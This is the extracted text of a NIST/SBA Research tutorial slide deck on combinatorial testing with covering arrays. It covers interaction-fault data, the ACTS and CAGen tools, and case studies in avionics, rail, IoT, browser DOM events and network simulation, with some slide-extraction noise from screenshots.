



Combinatorial Methods for Testing and Analysis of Critical Software and Security Systems Rick Kuhn, Dimitris E. Simos and Raghu Kacker

National Institute of Standards and Technology, USA SBA Research, Austria





1. Intro, empirical data and fault model

- 2. How it works and coverage/cost considerations
- 3. Critical Software examples
- 4. Security systems examples

What is NIST and why are we doing this?

- US Govt agency Research on measurement and test methods 3,000 scientists, engineers, and staff including 4 Nobel laureates
- Project goal <u>improve cost-benefit ratio for testing</u> Tools used in > 1,000 organizations, especially aerospace



Why combinatorial methods?

Produce effectively exhaustive testing and lower cost

- Examples of improving test efficiency 10X to 700X
- Case studies, including Adobe, Avaya, Daimler AG, Jaguar Land Rover, Lockheed Martin, Rockwell Collins, Siemens, US Air Force, and many others

Unique advantages for cybersecurity testing

New methods of solving the test oracle problem

Ways to measure test thoroughness and residual risk

Applications

Software testing – primary application of these methods

- functionality testing and security vulnerabilities
- approx 2/3 of vulnerabilities from implementation errors

Modeling and simulation – ensure coverage of complex cases

- measure coverage of traditional Monte Carlo sim
- faster coverage of input space than randomized input

Performance tuning – determine most effective combination of configuration settings among a large set of factors

>> systems with a large number of factors that interact <<

What is the empirical basis?

- NIST studied software failures in 15 years of FDA medical device recall data
- What causes software failures?
 - logic errors? calculation errors? inadequate input checking? interaction faults? Etc.



Interaction faults: e.g., failure occurs if
 altitude = 0 && volume < 2.2
 (interaction between 2 factors)</pre>

So this is a **2-way interaction** => testing all pairs of values can find this fault

How are interaction faults distributed?

- Interactions e.g., failure occurs if pressure < 10pressure < 10 & volume > 300 pressure < 10 & volume > 300 & velocity = 5 (3-way interaction)
 - (1-way interaction) (2-way interaction)
- Surprisingly, no one had looked at interactions > 2-way before



Server



These faults more complex than medical device software!!

Why?



Browser



Curves appear to be similar across a variety of application domains.



NASA distributed database



Note: initial testing but Fault profile better than medical devices!



MySQL





TCP/IP





Wait, there's more



- Number of factors involved in failures is <u>small</u>
- No failure involving more than 6 variables has been seen

Average (unweighted)





What causes this distribution?





One clue: branches in avionics software. 7,685 expressions from *if* and *while* statements

Comparing with Failure Data





- Distribution of t-way faults in untested software seems to be similar to distribution of t-way branches in code
- Testing and use push curve down as easy (1-way, 2-way) faults found

How does this knowledge help?

<u>Interaction rule</u>: When all faults are triggered by the interaction of *t* or fewer variables, then testing all *t*-way combinations is *pseudo-exhaustive* and can provide strong assurance.

It is nearly always impossible to exhaustively test all possible input combinations

The interaction rule says we don't have to (Within reason - we still have value propagation issues, equivalence partitioning, timing issues, more complex interactions, ...)





- 1. Intro, empirical data and fault model
- 2. How it works and coverage/cost considerations
- 3. Critical Software
- 4. Security systems

Design of Experiments - background

Key features of DoE

- Blocking
- Replication
- Randomization
- Orthogonal arrays to test interactions between factors

Test	P1	P2	P3	
1	1	1	3	
2	1	2	2	Each combination
3	1	3	1	occurs same number
4	2	1	2	of times
5	2	2	1	
6	2	3	3	Example: $P1, P2 = 1, 2$
7	3	1	1	
8	3	2	3	
9	3	3	2	

National Institute of Standards and Technology

Orthogonal Arrays for Software Interaction Testing

Functional (black-box) testing

Hardware-software systems

Identify single and 2-way combination faults

Early papers

Taguchi followers (mid1980's) Mandl (1985) Compiler testing Tatsumi et al (1987) Fujitsu Sacks et al (1989) Computer experiments Brownlie et al (1992) AT&T Generation of test suites using OAs OATS (Phadke, AT&T-BL)







Traditional DoE

- Continuous variable results
- Small number of parameters
- Interactions typically increase or decrease output variable

DoE for Software

- Binary result (pass or fail)
- Large number of parameters
- Interactions affect path through program

Does this make any difference?



How do these differences affect interaction testing for software?

Not orthogonal arrays, but <u>Covering arrays</u>: Fixed-value CA(*N*, *v^k*, *t*) has four parameters *N*, *k*, *v*, *t* : It is a matrix covers every t-way combination <u>at least once</u>

Key differences

orthogonal arrays:

- Combinations occur <u>same number of times</u>
- <u>Not always possible to</u> <u>find</u> for a particular configuration

covering arrays:

- Combinations occur <u>at least once</u>
- <u>Always possible to find for a</u> particular configuration
- Size always ≤ orthogonal array



Let's see how to use this in testing. A simple example:

Font Character Spacing Text Effects Font: Font style: Size: Times Regular 12 Times New Roman Regular 8 Trebuchet MS Italic 9 Tunga Tw Cen MT Italic 10 Font color: Underline style: Underline color: Automatic (none) Automatic Automatic Effects Strikethrough Shadow Small caps Double strikethrough Outline All caps Superscript Emboss Hidden Subscript Engrave Hidden	? 🔀
Font: Font style: Size: Times Regular 12 Times New Roman Italic Trebuchet MS Italic Tunga Bold Tw Cen MT Italic Font color: Underline style: Underline color: Automatic Effects Strikethrough Strikethrough Shadow Small caps Jouble strikethrough Superscript Superscript Subscript Engrave	Spacing Te <u>x</u> t Effects
Times Regular Times Regular Times New Roman Italic Trebuchet MS Bold Tunga Bold Tw Cen MT Italic Font color: Automatic Inderline style: Automatic Inderline style: Effects Strikethrough Shadow Sugerscript Emboss Sugerscript Emboss Sugerscript Emgrave	Font style: Size:
Font color: Underline style: Underline color: Automatic (none) Automatic Effects Strikethrough Shadow Small caps Double strikethrough Outline All caps Superscript Emboss Hidden Subscript Engrave	Regular 12 Regular 8 Italic 9 Bold 10 Bold Italic 11 12
Effects Strikethrough Shadow Small caps Double strikethrough Outline All caps Superscript Emboss Hidden Subscript Engrave	Underline style: Underline color: (none) Automatic
	Shado <u>w</u> S <u>m</u> all caps ough Outline All caps Emboss Hidden Engrave
Preview Times	Times
This is a scalable printer font. The screen image may not match printed output.	font. The screen image may not match printed output.

•There are 10 effects, each can be on or off

•All combinations is 2¹⁰ = 1,024 tests

•What if our budget is too limited for these tests?

Instead, let's look at all3-way interactions ...



How Many Tests Do We Need?

- There are $\begin{bmatrix} 10\\ 3 \end{bmatrix}$ = 120 3-way interactions.
- Each triple has 2³ = 8 settings: 000, 001, 010, 011, ...
- 120 x 8 = 960 combinations
- Each test exercises many triples:

OK, OK, what's the smallest number of tests we need?



A covering array of 13 tests

All triples in only 13 tests, covering $\begin{bmatrix} 10\\ 3 \end{bmatrix} 2^3 = 960$ combinations

Each row is a test:



- Developed 1990s
- Extends Design of Experiments concept
- hard optimization problem but good algorithms now



Larger example - testing inputs, combinations of <u>variable values</u>

Suppose we have a system with on-off switches.

Software must produce the right response for any combination of switch settings





How do we test this?

34 switches = 2^{34} = 1.7 x 10¹⁰ possible inputs = 17 billion tests





What if no failure involves more than 3 switch settings interacting?

- 34 switches = 17 billion tests
- For 3-way interactions, need only 33 tests
- For 4-way interactions, need only **85** tests







Performance of NIST ACTS tool

- On average NIST ACTS is faster than other tools, generating smaller test sets
- (there is no universal best covering array algorithm)

T-Way	NIST ACTS		ITCH (IBM)		Jenny (Open Source)		TConfig (U. Ottawa)		TVG (Open Source)	
	Size	Time	Size	Time	Size	Time	Size	Time	Size	Time
2	100	0.8	120	0.73	108	0.001	108	>1 hour	101	2.75
3	400	0.36	2388	1020	413	0.71	472	>12 hour	9158	3.07
4	1363	3.05	1484	5400	1536	3.54	1476	>21 hour	64696	127
5	4226	18s	NA	>1 day	4580	43.54	NA	>1 day	313056	1549
6	10941	65.03	NA	>1 day	11625	470	NA	>1 day	1070048	12600

Times in seconds

Traffic Collision Avoidance System (TCAS): 2⁷3²4¹10² 12 variables: 7 boolean, 2 3-value, 1 4-value, 2 10-value



An Efficient Design of the IPO Algorithm

Fast In-Parameter-Order (FIPO) Algorithm

Low-level optimizations:

- Memory optimizations
- Compile-time specialization
- Array representation

	FIPO								
Optimization	Baseline	Simultaneous	Skip	Partitioned	All				
Complexity Reduction		\checkmark			~				
Skip fully covered combinations			1		1				
Search space pruning				\checkmark	~				

High-level optimizations for FIPO variants



FIPO benchmarks



FIPO benchmark using a CA(N;t=3,k=6,v) versus IPO implementation in the ACTS tool (speedups relative to baseline)



New Algorithms Developed

Quantum-inspired evolutionary algorithms



Approaches using symbolic computation

Neural networks and Boltzmann machines for CA generation





How many tests are needed?

- Number of tests: proportional to v^t log n for v values, n variables, t-way interactions
- Good news: tests increase <u>logarithmically with the number of parameters</u>
 => even very large test problems are OK (e.g., 200 parameters)
- Bad news: increase <u>exponentially with interaction strength t</u>
 => select small number of representative values (but we always have to do this for any kind of testing)



Testing inputs – combinations of property values

Suppose we want to test a **find-replace** function with only two inputs: search_string and replacement_string

How does combinatorial testing make sense in this case?

Problem example from Natl Vulnerability Database: 2-way interaction fault: *single character search string in conjunction with a single character replacement string, which causes an "off by one overflow"*

Approach: test properties of the inputs

Some properties for this test

- String length: {0, 1, 1..file_length, >file_length}
- Quotes: {yes, no, improperly formatted quotes}
- Blanks: {0, 1, >1}
- Embedded quotes: {0, 1, 1 escaped, 1 not escaped}
- Filename: {valid, invalid}
- Strings in command line: {0, 1, >1}
- String presence in file: {0, 1, >1}
- This is $2^{1}3^{4}4^{2}= 2,592$ possible combinations of parameter values. How many tests do we need for pairwise (2-way)?
- We need only 19 tests for pairwise, 67 for 3-way, 218 for 4-way
Testing Smartphone Configurations

Some Android configuration options:

int HARDKEYBOARDHIDDEN NO; int HARDKEYBOARDHIDDEN_UNDEFINED; int HARDKEYBOARDHIDDEN YES; int KEYBOARDHIDDEN NO; int KEYBOARDHIDDEN UNDEFINED; int KEYBOARDHIDDEN YES; int KEYBOARD_12KEY; int KEYBOARD NOKEYS; int KEYBOARD QWERTY; int KEYBOARD UNDEFINED; int NAVIGATIONHIDDEN NO; int NAVIGATIONHIDDEN UNDEFINED; int NAVIGATIONHIDDEN YES; int NAVIGATION DPAD; int NAVIGATION_NONAV; int NAVIGATION TRACKBALL; int NAVIGATION UNDEFINED; int NAVIGATION_WHEEL;

int ORIENTATION LANDSCAPE; int ORIENTATION PORTRAIT; int ORIENTATION SQUARE; int ORIENTATION UNDEFINED; int SCREENLAYOUT_LONG_MASK; int SCREENLAYOUT_LONG_NO; int SCREENLAYOUT_LONG_UNDEFINED; int SCREENLAYOUT LONG YES; int SCREENLAYOUT SIZE LARGE; int SCREENLAYOUT SIZE MASK; int SCREENLAYOUT SIZE NORMAL; int SCREENLAYOUT SIZE SMALL; int SCREENLAYOUT_SIZE_UNDEFINED; int TOUCHSCREEN_FINGER; int TOUCHSCREEN NOTOUCH; int TOUCHSCREEN STYLUS; int TOUCHSCREEN_UNDEFINED;



Configuration option values

Parameter Name	Values	# Values
HARDKEYBOARDHIDDEN	NO, UNDEFINED, YES	3
KEYBOARDHIDDEN	NO, UNDEFINED, YES	3
KEYBOARD	12KEY, NOKEYS, QWERTY, UNDEFINED	4
NAVIGATIONHIDDEN	NO, UNDEFINED, YES	3
NAVIGATION	DPAD, NONAV, TRACKBALL, UNDEFINED, WHEEL	5
ORIENTATION	LANDSCAPE, PORTRAIT, SQUARE, UNDEFINED	4
SCREENLAYOUT_LONG	MASK, NO, UNDEFINED, YES	4
SCREENLAYOUT_SIZE	LARGE, MASK, NORMAL, SMALL, UNDEFINED	5
TOUCHSCREEN	FINGER, NOTOUCH, STYLUS, UNDEFINED	4

Total possible configurations:

3 x 3 x 4 x 3 x 5 x 4 x 4 x 5 x 4 = 172,800



Number of configurations generated for *t*-way interaction testing, t = 2..6

t	# Configs	% of Exhaustive
2	29	0.02
3	137	0.08
4	625	0.4
5	2532	1.5
6	9168	5.3



ACTS - Defining a new system

🕌 New System Form

		Saveu Paralileters	
System Name	TCAS	Paramater Name	Parameter Value
Systemmanie	TOB	Cur_Vertical_Sep	[299,300,601]
		High_Confidence	[true,false]
iystem Parameter —		Two_of_Three_Reports	[true,false]
		Own_Tracked_Alt	[1,2]
Parameter Name		Other_Track_Alt	[1,2]
		Own_Tracked_Alt_Rate	[600,601]
Parameter Type	Boolean	Alt_Layer_Value	[0,1,2,3]
		Up_Separation	[0,399,400,499,500,639,640,7
		Down_Separation	[0,399,400,499,500,639,640,7
arameter Values		Other_RAC	[NO_INTENT,DO_NOT_CLIMB,
Selected Parameter	Boolean	Other_Capability	[TCAS_CA,Other]
		Climb_Inhibit	[true,false]
Range Value Add-> Remove->	true,false		
			Remove Modify



×

Variable interaction strength



Constraints

Medify System	
Parameters Relatores Constraints	
Palette P V [()] = != > < <= >= 66 => ! * / - % +	Added Constraints Constraints
Constraint Editor	
Chuer Add Constrant	Remove
Pind fy System	[[



Covering array output

System Edit Operations Help System View Algorithm IPOG Strength 2 v System View Test Result Statistics Cur_vertical_Sep	3.
System View IPOG Strength Z System View Test Result Statistics Cur_Vertical_Sep Cur_Vertical_Sep Cur_Vertical_Sep Cur_Vertical_Sep Other O	3.
System View Test Result Statistics Image: Content of the conten	3.
Cur_Vertical_Sep Cur_Vertical_Sep <th< td=""><td>3.</td></th<>	3.
SYSTEM-TCAS 1 299 true true 1 1 600 0 0 NO_INT TCAS_TA true 2 300 false false 1 2 601 1 0 399 DO_NO OTHER false 300 601 true false 1 2 600 2 0 400 DO_NO OTHER true 4 299 false true 2 1 601 3 0 499 DO_NO TCAS_TA false	
• Cur_Vertical_Sep • 299 • 300 • 601 • 60	
• 299 • 200 • 100 <td< td=""><td></td></td<>	
300 4 299 false true 2 1 601 3 0 499 DO_NO TCA5_TA false	
5 300 false true 1 1 601 0 0 500 DO.NO OTHER true	
High_Confidence	
true 7 299 false false 2 1 601 2 0 640 NO INT TCAS TA true	
False 8 300 true false 1 2 600 3 0 739 NO INT OTHER false	
Two_of_Three_Report: 9 601 true false 2 1 601 0 0 740 DO NO TCAS TA true	
true 10 299 true true 1 2 600 1 0 840 DO NO OTHER false	
Taise 11 300 faise true 1 2 600 2 399 0 DO NO TCAS TA faise	
Own_Tracked_Alt 12 601 true false 2 1 601 3 399 399 DO NO TCAS TA true	-
1 13 299 false true 2 1 601 0 399 400 NO INT OTHER false	
2	
Other_Tracked_Alt 15 601 true false 2 2 600 2 399 500 DO NO TCAS TA false	
1 16 299 true false 1 1 601 3 399 639 DO NO OTHER true	
17 300 true true 1 2 600 0 399 640 DO NO OTHER false	
UWN_IFACKed_Alk_Race 18 601 false true 2 1 601 1 399 739 DO_NO TCAS_TA true	
19 299 false true 1 2 600 2 399 740 NO INT OTHER false	
20 300 false false 2 1 601 3 399 840 NO_INT TCAS_TA true	
Alt_Layer_value 21 601 true false 2 1 601 1 400 0 DO_NO OTHER true	
22 299 false true 1 2 600 0 400 399 NO_INT TCAS_TA false	
23 300 * * * * * 3 400 400 DO_NO TCAS_TA *	
24 601 * * * * * 2 400 499 NO_INT* *	
25 299 * * * * * 1 400 500 NO_INT* *	
26 300 * * * * * 0 400 639 DO_NO * *	
27 601 * * * * * 3 400 640 DO_NO * *	
400 28 299 * * * * * 2 400 739 DO_NO * *	
29 300 * * * * * 1 400 740 DO_NO * *	
30 601 * * * * * 0 400 840 DO_NO * *	
639 True true 1 1 600 3 499 0 NO_INT OTHER true	
32 300 false 2 2 601 2 499 399 DO NO TCAS TA false	×



Output options

Mappable values

```
Degree of interaction
coverage: 2
Number of parameters: 12
Number of tests: 100
```

```
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

1 1 1 1 1 1 1 1 0 1 1 1 1

2 0 1 0 1 0 2 0 2 2 1 0

0 1 0 1 0 1 3 0 3 1 0 1

1 1 0 0 0 1 0 1 0 4 2 1 0

2 1 0 1 1 0 1 2 0 6 0 0 1

0 1 1 1 0 1 0 3 0 7 0 1 1

2 0 1 1 0 1 0 1 0 8 1 0 0

1 0 0 0 1 0 1 0 9 2 1 1

1 1 0 0 1 0 2 1 0 1 0 1

Etc.
```

Human readable

```
Degree of interaction coverage: 2
Number of parameters: 12
Maximum number of values per
parameter: 10
Number of configurations: 100
```

Configuration #1:

1 = Cur_Vertical_Sep=299 2 = High_Confidence=true 3 = Two_of_Three_Reports=true 4 = Own_Tracked_Alt=1 5 = Other_Tracked_Alt=1 6 = Own_Tracked_Alt_Rate=600 7 = Alt_Layer_Value=0 8 = Up_Separation=0 9 = Down_Separation=0 10 = Other_RAC=NO_INTENT 11 = Other_Capability=TCAS_CA 12 = Climb Inhibit=true

National Institute of Itandards and Technology

CAGen: A FIPO webUI tool

Beta CAgen Workspaces £ Input Parameter Model Ê $\mathbf{\Phi}_{o}^{o}$ Generate ? Help About i . Downloads G SBA Research 2017-2018 | All Rights Reserved.

Name	Values	Cardinality
scenario	a, b, c	3
protocol	tls, ssl, dtls	3
authenticate	true, false	2
retries	0, 1, 2, 3, 4	5
payload	1, 2, 3, 4, 5, 6	6
implementation	OPEN_SSL, GNU_TLS	2

Input Parameter Model

SBA Research

CAGen: Array Generation

Array Generation							
Algorithm: FIPOG - t 1 +							
TEST SET							
▼ t = 1 6 rows Randomize Don't-Care Values Show model values Export ▼							
scenario	protocol	authenticate	retries	payload	implementation		
а	tls	true	0	1	OPEN_SSL		
b	ssl	false	1	2	GNU_TLS		
с	dtls	0	2	3	0		
0	0	0	3	4	0		
0	0	0	4	5	0		
0	0	0	0	6	0		

Showing rows 1-6

< 1 >



Available Tools

- <u>Covering array generator</u> basic tool for test input or configurations;
- Input modeling tool design inputs to covering array generator using classification tree editor; useful for partitioning input variable values
- Fault location tool identify combinations and sections of code likely to cause problem
- Sequence covering array generator new concept; applies combinatorial methods to event sequence testing
- Combinatorial coverage measurement detailed analysis of combination coverage; automated generation of supplemental tests; helpful for integrating c/t with existing test methods



ACTS Users

> 3,000 organizations



Standards and Technology





- 1. Intro, empirical data and fault model
- 2. How it works and coverage/cost considerations
- **3. Critical Software**
- 4. Security systems

UTD Case study example: Subway control system



Real-world experiment by grad students, Univ. of Texas at Dallas

Original testing by company: 2 months

Combinatorial testing by U. Texas students: 2 weeks

Result: approximately 3X as many bugs found, in 1/4 the time => 12X improvement



		Number of test cases	Number of bugs found	Did CT find all original bugs?
Package 1	Original	98	2	-
Tuchuge I	СТ	49	6	Yes
Package 2	Original	102	1	-
Tuchuge 2	СТ	77	5	Yes
Package 3	Original	116	2	-
	СТ	80	7	Miss 1
Package 4	Original	122	2	-
	СТ	90	4	Yes

IoT example – smart house home assistant

=	Home		
	Away Away dc 8b 28 Philip 4f c6 2b 82 80 3	2 Plant12 Plant8	Plant3 Plant7 yr Symbol Plant6 Plant9 Plant4 Plant2 Plant1 Plant1 Plant1 Plant5 Plant10 Sun Choudine_
livin	ng_space	0	sound system cinema
۲ ۲	living room lights hallway lights	× F × F	പ്പെ Group i video PC O
Ŧ	Server LEDs	× F	kitchen_devices
TV Off			kitchen lights K waterboiler K
ብ	н С н	:	sound system Off
not_	_important		others کے لیے ان
Ŧ	kitchen lights	× F	bedroom lights Automation
	bedroom lights	× F	F bathroom lights Image: Soundsystem to TV input
Ţ	living room lights	× 7 × 4	Turn on lights when at h
۶ ۲	hallway lights	× F	Switch from bc to pc





Configuration testing for an IoT device

```
switch = \{on, off\}
automation = \{on, off\}
separate systems:
media_player = \{
        is_volume_muted = {True, False}
        sound_mode = { 'MUSIC', 'MOVIE', 'GAME', 'AUTO',
                 'VIRTUAL', 'PURE DIRECT', 'DOLBY DIGITAL',
                 'DTS SURROUND', 'MCH STEREO', 'STEREO',
                 'ALL ZONE STEREO'}
        source = { 'AUX', 'Blu-ray', 'CBL/SAT', 'CD', 'DVD',
                 'FM', 'Favorite S1', 'Favorite S2',
                 'Favorite S3', 'Favorites', 'Flickr',
                 'Internet Radio', 'Last.fm', 'MEDIA PLAYER'
                 'Media Server', 'NET', 'Spotify', 'TV'}
        volume_level = \{-1, 0, 1, 99, 100, 101\}
         state = \{on, off\}
group = \{
        switch1 = \{on, off\}
        switch2 = \{on, off\}
```





Setting parameters of IoT sensors via CT

switch00kitchen_lights	automation00music_mode	media_player00sound_system	group00living_space	switch00living_room_lights
turn_off	trigger	clear_playlist	remove	turn_off

Test execution

- header describes device and its domain (domain00device_name)
- first column gets translated to following request:

https://home-assistant-domain/api/services/switch/turn_off

• which is sent as post request with the following json struct:

```
{"entity_id":"switch.kitchen_lights"}
```







Research question – validate interaction rule?



- DOM is a World Wide Web Consortium standard for representing and interacting with browser objects
- NIST developed conformance tests for DOM
- Tests covered all possible combinations of discretized values, >36,000 tests
- Question: can we use the Interaction Rule to increase test effectiveness the way we claim?



Document Object Model Events Original test set:

Event Name	Param.	Tests
Abort	3	12
Blur	5	24
Click	15	4352
Change	3	12
dblClick	15	4352
DOMActivate	5	24
DOMAttrModified	8	16
DOMCharacterDataMo	8	64
dified		
DOMElementNameCha	6	8
nged		
DOMFocusIn	5	24
DOMFocusOut	5	24
DOMNodeInserted	8	128
DOMNodeInsertedIntoD	8	128
ocument		
DOMNodeRemoved	8	128
DOMNodeRemovedFrom	ı 8	128
Document		
DOMSubTreeModified	8	64
Error	3	12
Focus	5	24
KeyDown	1	17
KeyUp	1	17

Load	3	24
MouseDown	15	4352
MouseMove	15	4352
MouseOut	15	4352
MouseOver	15	4352
MouseUp	15	4352
MouseWheel	14	1024
Reset	3	12
Resize	5	48
Scroll	5	48
Select	3	12
Submit	3	12
TextInput	5	8
Unload	3	24
Wheel	15	4096
Total Tests		36626
		*

Exhaustive testing of equivalence class values



Document Object Model Events Combinatorial test set:



All failures found using < 5% of original exhaustive test set





Modeling & Simulation

- 1. Aerospace Lockheed Martin analyze structural failures for aircraft design
- 2. Network defense/offense operations - NIST – analyze network configuration for vulnerability to deadlock



Problem: unknown factors causing failures of F-16 ventral fin



Figure 1. LANTIRN pod carriage on the F-16.

It's not supposed to look like this:



Figure 2. F-16 ventral fin damage on flight with LANTIRN

Can the problem factors be found efficiently?

Original solution: Lockheed Martin engineers spent many months with wind tunnel tests and expert analysis to consider interactions that could cause the problem

Combinatorial testing solution: modeling and simulation using ACTS

Parameter	Values
Aircraft	15, 40
Altitude	5k, 10k, 15k, 20k, 30k, 40k, 50k
	hi-speed throttle, slow accel/dwell, L/R 5 deg
	side slip, L/R 360 roll, R/L 5 deg side slip, Med
	accel/dwell, R-L-R-L banking, Hi-speed to Low,
Maneuver	360 nose roll
Mach (100 th)	40, 50, 60, 70, 80, 90, 100, 110, 120

Results

- Interactions causing problem included Mach points .95 and .97; multiple side-slip and rolling maneuvers
- Solution analysis tested interactions of Mach points, maneuvers, and multiple fin designs
- Problem could have been found much more efficiently and quickly
- Less expert time required
- Spreading use of combinatorial testing in the corporation:
 - Community of practice of 200 engineers
 - Tutorials and guidebooks
 - Internal web site and information forum

Example: Network Simulation

- "Simured" network simulator
 - · Kernel of ~ 5,000 lines of C++ (not including GUI)
- Objective: detect configurations that can produce deadlock:
 - · Prevent connectivity loss when changing network
 - · Attacks that could lock up network
- Compare effectiveness of random vs. combinatorial inputs
- Deadlock combinations discovered
- Crashes in >6% of tests w/ valid values (Win32 version only)



Simulation Input Parameters

	Parameter	Values
1	DIMENSIONS	1,2,4,6,8
2	NODOSDIM	2,4,6
3	NUMVIRT	1,2,3,8
4	NUMVIRTINJ	1,2,3,8
5	NUMVIRTEJE	1,2,3,8
6	LONBUFFER	1,2,4,6
7	NUMDIR	1,2
8	FORWARDING	0,1
9	PHYSICAL	true, false
10	ROUTING	0,1,2,3
11	DELFIFO	1,2,4,6
12	DELCROSS	1,2,4,6
13	DELCHANNEL	1,2,4,6
14	DELSWITCH	1,2,4,6

5x3x4x4x4x4x2x2 x2x4x4x4x4x4 = 31,457,280 configurations

Are any of them dangerous?

If so, how many?

Which ones?



Network Deadlock Detection

Deadlocks Detected: combinatorial

			1000	2000	4000	8000
t	Tests	500 pkts	pkts	pkts	pkts	pkts
2	28	0	0	0	0	0
3	161	2	3	2	3	3
4	752	14	14	14	14	14

Average Deadlocks Detected: random

			1000	2000	4000	8000
t	Tests	500 pkts	pkts	pkts	pkts	pkts
2	28	0.63	0.25	0.75	0.50	0.75
3	161	3	3	3	3	3
4	752	10.13	11.75	10.38	13	13.25





Network Deadlock Detection

Detected 14 configurations that can cause deadlock: $14/31,457,280 = 4.4 \times 10^{-7}$

Combinatorial testing found more deadlocks than random, including some that <u>might never have been</u> <u>found</u> with random testing

Why do this testing? Risks:

- accidental deadlock configuration: low
- deadlock config discovered by attacker: much higher
 (because they are looking for it)

(because they are looking for it)

Event Sequence Testing

- Suppose we want to see if a system works correctly regardless of the order of events. How can this be done efficiently?
- Failure reports often say something like: 'failure occurred when A started if B is not already connected'.
- Can we produce compact tests such that all t-way sequences covered (possibly with interleaving events)?

Event	Description
а	connect range finder
b	connect telecom
С	connect satellite link
d	connect GPS
е	connect video
f	connect UAV



Sequence Covering Array

- With 6 events, all sequences = 6! = 720 tests
- Only 10 tests needed for all 3-way sequences, results even better for larger numbers of events

i	Example:	.*c.*f.*	b.* cov	ered. A	ny such	3-way	seq cov	ered.
	Test		Sequence					
	1	а	b	С	d	е	f	
/	2	f	е	d	С	b	а	
	3	d	е	f	а	b	С	
	4	С	b	а	f	е	d	
	5	b	f	а	d	С	е	
X	6	е	С	d	а	f	b	
	7	а	е	f	С	b	d	
	8	d	b	С	f	е	а	
	9	С	е	а	d	b	f	
	10	f	b	d	а	е	С	Natio Standards a

Sequence Covering Array Properties

- 2-way sequences require only 2 tests (write in any order, reverse)
- For > 2-way, number of tests grows with log *n*, for *n* events
- Simple greedy algorithm produces compact test set
- Application not previously described in CS or math literature



Combinatorial methods and test coverage

Review of some structural coverage criteria:

- Statement coverage: % of source statements exercised by the test set.
- **Decision or branch coverage:** % of branches evaluated to both *true* and *false* in testing. When branches contain multiple conditions, branch coverage can be 100% without instantiating all conditions to true/false.
- **Condition coverage:** % of conditions within decision expressions that have been evaluated to both true and false. Note 100% condition coverage does not guarantee 100% decision coverage.
- Modified condition decision coverage (MCDC): every condition in a decision has taken on all possible outcomes at least once, each condition shown to independently affect the decision outcome, each entry and exit point traversed at least once

A new perspective on test coverage



- Statement coverage

Subsumption relationships of structural coverage criteria

- Test coverage has traditionally been defined using graph-based structural coverage criteria:
 - statement (weak)
 - branch (better)
 - etc.
- Based on <u>paths</u> through the <u>code</u>



Combinatorial Coverage

Tests	Variables			
	а	b	С	d
1	0	0	0	0
2	0	1	1	0
3	1	0	0	1
4	0	1	1	1

Variable pairs	Variable-value combinations covered	Coverage
ab	00, 01, 10	.75
ac	00, 01, 10	.75
ad	00, 01, 11	.75
bc	00, 11	.50
bd	00, 01, 10, 11	1.0
cd	00, 01, 10, 11	1.0

100% coverage of 33% of combinations75% coverage of half of combinations50% coverage of 16% of combinations


Variable pairs	Variable-value combinations covered	Coverage		
			bd	00, 01, 10, 11
ab	00, 01, 10	.75	 cd	00, 01, 10, 11
ас	00, 01, 10	.75		
ad	00 01 11	75	ab	00, 01, 10
au	00, 01, 11	.75	ас	00.01.10
bc	00, 11	.50		
bd	00, 01, 10, 11	1.0	ad	00, 01, 11
cd	00 01 10 11	10	bc	00, 11
	00, 01, 10, 11	110		

Rearranging the table

	СС	1	00, 01, 10, 11				
	at	ab 00, 01, 10					
	ac	;	00, 0)1, 10			
	ac	1	00, 0)1, 11			
	bc	;	00, 1	1			
				,			
7	-	, 1					
	2	, 10	, 10	, 10	7		
5	- C -	0, 01	0, 01	0, 01	0, 01	0, 11	
2	5	0	8	00	00	00	
24	na	cd	ab	ac	ad	bc	

Graphing Coverage Measurement



Bottom line: All combinations covered to at least 50%



What else does this chart show?



Tested combinations => code works for these

Spacecraft software example 82 variables, 7,489 tests, conventional test design (not covering arrays)





Additional coverage metrics

Relative Coverage Gain per Test

	Class	Race	Weapon	Shield	Armor	Gain
1	Thief	Halfling	Sword	0	Light	10
2	Mage	Halfling	Sword	1	Heavy	10
3	Warrior	Halfling	Sword	0	Heavy	8
4	Thief	Human	Sword	1	Light	9
5	Mage	Human	Sword	0	Light	8
6	Warrior	Human	Sword	1	Heavy	7
7	Thief	Elf	Sword	0	Heavy	8
8	Mage	Elf	Sword	1	Light	7
9	Warrior	Elf	Sword	0	Light	6
10	Thief	Orc	Sword	1	Heavy	7
11	Mage	Orc	Sword	0	Light	6
12	Warrior	Orc	Sword	1	Light	5
13	Thief	Halfling	Wabbajack	1	Heavy	8



Application to testing and assurance

- Useful for providing a measurable value with direct relevance to assurance
- To answer the question:
 How thorough is this test set?
 We can provide a defensible answer

Examples:

- Fuzz testing (random values) good for finding bugs and security vulnerabilities, but how do you know you've done enough?
- Contract monitoring How do you justify testing has been sufficient? Identify duplication of effort?

From t-way coverage to structural coverage

- t-way coverage ensures branch coverage (and therefore statement coverage) under certain conditions
- Branch Coverage Condition: 100% branch coverage for t-way conditionals if $M_t + B_t > 1$

Implications: we can achieve full branch coverage as a byproduct of combinatorial testing, even without a complete covering array Does combinatorial testing produce good structural coverage?

Experiment (Czerwonka)

- Statement coverage: 64% to 76%
- Branch coverage: 54% to 68%
- Both increased with t-way interaction strength
- Diminishing returns with additional increases in *t*.

Some different experimental results

Experiment (Bartholomew), phase 1 Statement coverage: 75% Branch coverage: 71% MCDC coverage: 68%

Experiment phase 2 Statement coverage: 100% Branch coverage: 100% MCDC coverage: 100%

Why? What changed?

- <u>Input model</u> was changed
 - Relatively little effort 4 hours to get full statement and branch coverage
 - Ad hoc, application dependent changes
 - MCDC coverage required more work, but successful – 16 hours – and huge improvement over conventional methods
 - Can we generalize results, provide guidance for testers?
 - Next research area

How do we automate checking correctness of output?

- Creating test data is the easy part!
- How do we check that the code worked correctly on the test input?



- Easy but limited value
- **Built-in self test with embedded assertions** incorporate assertions in code to check critical states at different points in the code, or print out important values during execution
- Full scale model-checking using mathematical model of system and model checker to generate expected results for each input expensive but tractable







Using model checking to produce tests



Black & Ammann, 1999

Testing inputs

Traffic Collision Avoidance
 System (TCAS) module



- Used in previous testing research
- 41 versions seeded with errors
- 12 variables: 7 boolean, two 3-value, one 4value, two 10-value
- All flaws found with 5-way coverage
- Thousands of tests generated by model checker in a few minutes





Tests generated

t	Test cases
2-way:	156
3-way:	461
4-way:	1,450
5-way:	4,309
6-way:	11,094







- Roughly consistent with data on large systems
- But errors harder to detect than real-world examples



Bottom line for model checking based combinatorial testing: Expensive but can be highly effective

New approaches to oracle problem

Pseudo-exhaustive testing solution using covering arrays:

- Convert conditions/rules in requirements to *k*-DNF form
- Determine dependencies
